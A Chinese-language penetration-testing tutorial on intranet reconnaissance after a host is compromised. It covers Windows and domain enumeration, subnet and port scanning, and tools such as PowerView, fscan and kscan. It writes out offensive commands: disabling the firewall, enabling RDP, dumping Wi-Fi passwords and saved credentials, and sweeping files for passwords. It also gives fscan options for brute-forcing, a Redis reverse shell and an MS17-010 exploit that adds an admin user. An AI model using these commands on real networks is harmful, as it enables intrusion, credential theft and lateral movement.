一、内网信息收集概述
信息收集是渗透测试的前期主要工作,是非常重要的环节,只有收集足够多的信息才能方便接下来的测试,在聊内网信息收集之前先看看外网信息收集:
- 外网信息收集
主要收集以下信息:
真实IP地址、子域名、端口、目录结构、敏刚文件、JS信息、App小程序、端口、中间件、旁站、C段、Whois、公司结构、公司相关手机邮件、……等等通过各种渠道和手段尽可能收集到多的关于这个站点的信息
当我们通过外网信息收集,漏洞探测以及漏洞利用后,获得了主机的权限后,我们需要扩大渗透的战果时,这是我们就要进行内网的渗透了,内网渗透最重要的还是前期我们对内网的信息收集,信息收集需要收集什么内容,对后期的横向移动都有很大的帮助。
- 内网信息收集
主要针对公司的网络结构,网络连通性,是否是域环境,是否有杀软,用户信息等收集。例如:内网本地信息收集、自动收集本地信息、内网IP、端口扫描、域内基础信息收集、查找域控、获取域内用户等信息
二、使用CobaltStrike手动进行本地工作组信息收集
-
获取网络配置信息
ipconfig /all
-
查询操作系统和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
-
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
-
查看安装的软件及版本
wmic product get name,version powershell "Get-WmiObject -class win32_product | Select-Object -Property name,version"
-
查看本机运行的服务
wmic service list brief
-
查看电脑启动程序
wmic startup get command,caption
-
查看进程
tasklist wmic process list brief
-
查看计划任务(如果出现无法加载列资源 输入:chcp 437)
schtasks /query /fo LIST /v
-
查看开机时间
net statistics workstation
-
查看用户列表信息
net user wmic useraccount get name,SID
-
查看当前会话列表
net session
-
查看端口信息
netstat -ano
-
查看补丁信息
systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn
-
查看共享列表
net share wmic share get name,path,status
-
查询路由信息
route print
-
查询Arp信息
arp -a
-
查看防火墙是否开启
netsh firewall show state
-
关闭防火墙
# Windows server 2003 netsh firewall set opmode disable # Windows server 2003之后 netsh firewall set opmode disable 或者 netsh advfirewall set allprofiles state off
-
开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f #关闭
-
收集本地Wi-Fi密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
-
查询RDP端口(十六进制d3d表示3389)
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
-
查询当前保存的凭据
cmdkey /l
-
查询最近打开的文件
dir %APPDATA%\Microsoft\Windows\Recent
-
查询本地工作组
net localgroup
-
查询管理员组员信息
net localgroup administrators
-
查询RDP凭据
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
-
查询杀软等信息
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list
三、域内信息收集
当我们进入内网,并且确定了当前内网拥有域环境,并且所控制的主机在域里面,就可以进行域内相关信息的收集了。 因为这些查询命令本质上都是通过 LDAP协议去域控制器上查询的,
1、域内基本信息收集
-
查询当前用户权限
whoami
获取某台主机的权限后,可能会有以下几种情况:
- 本地普通用户
- 本地管理员用户
- 域内普通用户
- 域内管理员用户
如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息,而本地管理员和域内用户可以查询域内信息
-
判断是否为域环境
# 以下命令都可以查询是否存在域 ipconfig /all systeminfo net config workstation net time /domain net view /domain
-
查询域内所有计算机
net view /domain:域名
-
查询域内所有用户组列表
net group /domain
-
查询所有域用户组成员列表
net group "域用户组" /domain net group "domain admins" /domain # 查询域管理用户 net group "Enterprise Admins" /domain # 查询域管理员用户组
-
获取域信任信息
nltest /domain_trusts
2、定位域控
-
查看域控的主机名
nltest /DCLIST:域名 nslookup -type=SRV _ldap._tcp # 查看域控的主机名和IP地址
-
查看当前域内时间
在通常情况下,时间服务器为主域控制器net time /domain
-
域控制器的计算机账户名称
net group "Domain Controllers" /domain
3、定位域管理员
-
Psloggedon
psloggedon.exe
可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录。
此工具本质是检测注册表中HKEY_USERS
的key值、调用了NetSessionEnum
的API来判断谁登录过哪台机器。# 用法 psloggedon.exe [-] [-l] [-x] [-accepteula] [\\computername|username] # 参数 - 显示支持的选项和用于输出值的度量单位 -l 仅显示本地登录,而不显示本地和网络资源登录 -x 不显示登录时间
工具地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/psloggedon
-
PVEDFindADUser
pveFindADUser.exe
可用于查找 AD用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP登录的用户、用于运行服务和计划任务的用户账户# 用法 pvefindaduser.exe -current
工具地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
-
Netview
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,查找登录会话,查找共享,枚举登录用户等,命令行直接运行可查看帮助信息。感觉效果不是很好# 用法 netview.exe -d # 参数 -h 显示帮助菜单 -f filename.txt 指定从中提取主机列表的文件 -e filename.txt 指定要排除的主机名文件 -o filename.txt 将所有输出重定向到文件 -d domain 指定从中提取主机列表的域。如果没有指定,则使用当前域 -g group 指定用户搜寻的组名。如果没有指定,则使用 Domain Admins -c 检查对已找到共享的访问权限
工具地址:https://github.com/mubix/netview
-
PowerView脚本
PowerView 脚本中包含了一系列的 powershell 脚本,可以用来获取当前域管理员在线登录的服务器。信息收集相关的脚本有Invoke-StealthUserHunter
、Invoke-UserHunter
等。
Invoke-UserHunter
:搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用Get-NetSessions
和Get-NetLoggedon
扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。打开powershell,进入脚本目录,输入Import-Module .\PowerView.ps1
导入脚本。然后输入Invoke-UserHunter
即可# 用法 powershell.exe -exec bypass -command "& { import-module .\PowerView.ps1;Invoke-UserHunter}"
工具地址:https://github.com/PowerShellEmpirc/PowerTools/tree/master/PowerView
4、敏感数据定位
内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中,像高级管理人员系统管理人员财务/人事/业务人员等个人计算机。
产品管理系统服务器、办公系统服务器、财务应用系统服务器、核心产品源码服务器(SVN/GIT服务器)、数据库服务器、文件服务器、共享服务器、电子邮件服务器、网站监控系统服务器、信息安全监控服务器、生产工厂服务器、站点源码备份文件、数据库备份文件等等。
浏览器保存的密码和浏览器的Cookie以及其他用户会话、3389和ipc$连接记录、回收站中的信息等等。以及Windows的无线密码、网络内部的各种账号密码、包含电子邮箱,VPN,FTP等等很多重要信息。
- 指定目录下搜集各类敏感文件
dir /a /s /b d:\"*.txt" dir /a /s /b d:\"*.xml" dir /a /s /b d:\"*.mdb" dir /a /s /b d:\"*.sql" dir /a /s /b d:\"*.mdf" dir /a /s /b d:\"*.eml" dir /a /s /b d:\"*.pst" dir /a /s /b d:\"*conf*" dir /a /s /b d:\"*bak*" dir /a /s /b d:\"*pwd*" dir /a /s /b d:\"*pass*" dir /a /s /b d:\"*login*" dir /a /s /b d:\"*user*"
- 指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
四、内网IP扫描
1、ICMP协议扫描
-
Ping扫描
使用ping命令配合cmd语法进行C端扫描,命令:for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
-
Fping
fping是一个小型命令行工具,用于向网络主机发送ICMP回应请求,类似于ping,但在ping多个主机时性能要高得多。fping完全不同于ping,一位可以指定IP数量和网段,常用用法如下:fping.exe IP1 IP2 -c 10 # 扫描多个IP10次 fping.exe -a -g 172.18.9.0/24 # 扫描C端IP
2、ARP协议扫描扫描
- 使用本地自带ARP命令查看ARP缓存表信息
arp -a
- 使用Arp的工具进行探测
arp.exe -t IP段
3、NetBISO协议扫描
NetBIOS协议由IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。
nbtscan 是一款用于 NetBIOS 主机扫描的工具,它可以帮助您快速发现运行 NetBIOS 服务的主机。通过向目标 IP 地址发送 NetBIOS Name Service (NBT-NS) 查询来探测主机。它可以快速扫描整个 IP 子网或者指定的一组 IP 地址,并返回发现的运行 NetBIOS 服务的主机列表及其对应的 NetBIOS 名称。
nbtscan.exe IP/IP网段
工具地址:http://www.unixwiz.net/tools/nbtscan.html
4、Fscan工具扫描
fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描。它支持主机存活探测、端口扫描、常见服务的爆破、ms17-010、Redis批量写公钥、计划任务反弹shell、读取Win网卡信息、Web指纹识别、Web漏洞扫描、Netbios探测、域控识别等功能。
# 基本使用
fscan.exe -h [IP] #默认使用全部模块
fscan.exe -hf ip.txt #以文件进行导入扫描
fscan.exe -h [IP] -m [模块] -p [模块对应的端口] -pwdf [密码文件] -userf [用户名文件] #对模块进行自定义文件爆破
fscan.exe -h [IP] -np -nopoc #跳过存活检测、web poc扫描
fscan.exe -h [IP] -c [执行的命令] # 使用ssh命令执行
fscan.exe -h [IP] -m ms17010 -sc add # 利用ms17010漏洞,添加一个用户,用户名:sysadmin 密码:1qaz@WSX!@#4
# 完整参数
-c string #ssh命令执行
-cookie string #设置cookie
-debug int #多久没响应,就打印当前进度(default 60)
-domain string #smb爆破模块时,设置域名
-h string #目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string #读取文件中的目标
-hn string #扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string #设置扫描模式: -m ssh (default "all")
-no #扫描结果不保存到文件中
-nobr #跳过sql、ftp、ssh等的密码爆破
-nopoc #跳过web poc扫描
-np #跳过存活探测
-num int #web poc 发包速率 (default 20)
-o string #扫描结果保存到哪 (default "result.txt")
-p string #设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string #新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string #fcgi、smb romote file path
-ping #使用ping代替icmp进行存活探测
-pn string #扫描时要跳过的端口,as: -pn 445
-pocname string #指定web poc的模糊名字, -pocname weblogic
-proxy string #设置代理, -proxy http://127.0.0.1:8080
-user string #指定爆破时的用户名
-userf string #指定爆破时的用户名文件
-pwd string #指定爆破时的密码
-pwdf string #指定爆破时的密码文件
-rf string #指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string #redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent #静默扫描,适合cs扫描时不回显
-sshkey string #ssh连接时,指定ssh私钥
-t int #扫描线程 (default 600)
-time int #端口扫描超时时间 (default 3)
-u string #指定Url扫描
-uf string #指定Url文件扫描
-wt int #web访问超时时间 (default 5)
-pocpath string #指定poc路径
-usera string #在原有用户字典基础上,新增新用户
-pwda string #在原有密码字典基础上,增加新密码
-socks5 #指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc #指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
项目地址:https://github.com/shadow1ng/fscan
5、Kscan工具扫描
Kscan是一款轻量级的资产发现工具,可针对IP/IP段或资产列表进行端口扫描以及TCP指纹识别和Banner抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。
# 基本使用
kscan -t [IP] # 端口探测
kscan --spy # 存活网段探测
kscan -t [IP] --hydra # 暴力破解
# 使用方法
usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--spy]) [options] [hydra options] [fofa options]
optional arguments:
-h , --help show this help message and exit
-f , --fofa 从fofa获取检测对象,需提前配置环境变量:FOFA_EMAIL、FOFA_KEY
-t , --target 指定探测对象:
IP地址:114.114.114.114
IP地址段:114.114.114.114/24,不建议子网掩码小于12
IP地址段:114.114.114.114-115.115.115.115
URL地址:https://www.baidu.com
文件地址:file:/tmp/target.txt
剪切板: paste or clipboard
--spy 网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
(空)、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
options:
--check 针对目标地址做指纹识别,仅不会进行端口探测
--scan 将针对--fofa、--spy提供的目标对象,进行端口扫描和指纹识别
-p , --port 扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
-o , --output 将扫描结果保存到文件
-oJ 将扫描结果使用json格式保存到文件
-oC 将扫描结果使用csv格式保存到文件
-Pn 使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
-Cn 使用此参数后,控制台输出结果将不会带颜色。
-Dn 使用此参数后,将关闭CDN识别功能
-sV 使用此参数后,将对所有端口进行全探针探测,此参数极度影响效率,慎用!
--top 扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP400
--proxy 设置代理(socks5|socks4|https|http)://IP:Port
--threads 线程参数,默认线程100,最大值为2048
--path 指定请求访问的目录,只支持单个目录
--host 指定所有请求的头部Host值
--timeout 设置超时时间
--encoding 设置终端输出编码,可指定为:gb2312、utf-8
--match 对资产返回banner进行检索,剔除不存在关键字的结果记录
--not-match 对资产返回banner进行检索,剔除存在关键字的结果记录
--hydra 自动化爆破支持协议:ssh,rdp,ftp,smb,mysql,mssql,oracle,postgresql,mongodb,redis,默认会开启全部
hydra options:
--hydra-user 自定义hydra爆破用户名:username or user1,user2 or file:username.txt
--hydra-pass 自定义hydra爆破密码:password or pass1,pass2 or file:password.txt
若密码中存在使用逗号的情况,则使用\,进行转义,其他符号无需转义
--hydra-update 自定义用户名、密码模式,若携带此参数,则为新增模式,会将用户名和密码补充在默认字典后面。否则将替换默认字典。
--hydra-mod 指定自动化暴力破解模块:rdp or rdp,ssh,smb
fofa options:
--fofa-syntax 将获取fofa搜索语法说明
--fofa-size 将设置fofa返回条目数,默认100条
--fofa-fix-keyword 修饰keyword,该参数中的{}最终会替换成-f参数的值
项目地址:https://github.com/lcvvvv/kscan
五、内网端口扫描
1、内网端口扫描概述
通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的漏洞,在进行内网渗测试时,通常会使用Metasploit、Cobalt Strike内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan等端口扫描工具获取开放的端口信息。
2、常见端口及其对应的服务
端口号 | 端口说明 | 使用说明 |
---|---|---|
21、22、69 | FTP/FTP 文件传输协议 | 允许匿名的上传、下载、爆破和嗅探操作 |
2049 | NFS 服务 | 配置不当 |
139 | SAMBA 服务 | 爆破、未授权访问、远程代码执行 |
22 | SSH远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet 远程连接 | 爆破、嗅探、弱口令 |
3389 | RDP 远程桌面连接 | Shift 后门(2003 以下版本)、爆破 |
5900 | VNC | 弱口令爆破 |
80、443、8080 | 常见的Web 服务端口 | Web 攻击、爆破、对应服务器版本漏洞 |
7001、7002 | WebLogic 控制台 | Java 反序列化、弱口令 |
8080、8089 | JBoss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
9090 | WebSphere 控制台 | Java 反序列化、弱口令 |
4848 | GlassFish 控制台 | 弱口令 |
1352 | Lotus Domino 邮件服务 | 弱口令、信息泄露、爆破 |
10000 | webmin 控制面板 | 弱口令 |
3306 | MySQL 数据库 | 注入、提权、爆破 |
1433 | MSSQL 数据库 | 注入、提权、SA 弱口令、爆破 |
1521 | Oracle 数据库 | 爆破、注入、反弹Shell |
5432 | Post greSQL数据库 | 爆破、注入、弱口令 |
27017、27018 | MongoDB 数据库 | 爆破、未授权访问 |
25 | SMTP 邮件服务 | 邮件伪造 |
110 | POP3 协议 | 爆破、嗅探 |
53 | DNS 域名系统 | 允许区域传送、DNS 劫持、缓存投毒、欺骗 |
67、68 | DHCP 服务 | 劫持、欺骗 |
2181 | ZooKeeper 服务 | 未授权访问 |
8069 | Zabbix 服务 | 远程执行、SQL 注入 |
9200、9300 | Elasticsearch 服务 | 远程执行 |
11211 | Memcached 服务 | 未授权访问 |
512、513、514 | Linux rexec 服务 | 爆破、远程登录 |
873 | rsync 服务 | 匿名访问、文件上传 |
3690 | SVN 服务 | SVN 泄露、未授权访问 |
50000 | SAP Management Console | 远程执行 |
3、ScanLine端口扫描
ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度很快,不需要winPcap库支持,应用场合受限较少。
# 用法
scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O [输出文件路径] -p [IP] /b
4、Telnet端口扫描
Telnet 协议是TCP/IP协议族的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令是最方便的
telnet [IP] [port]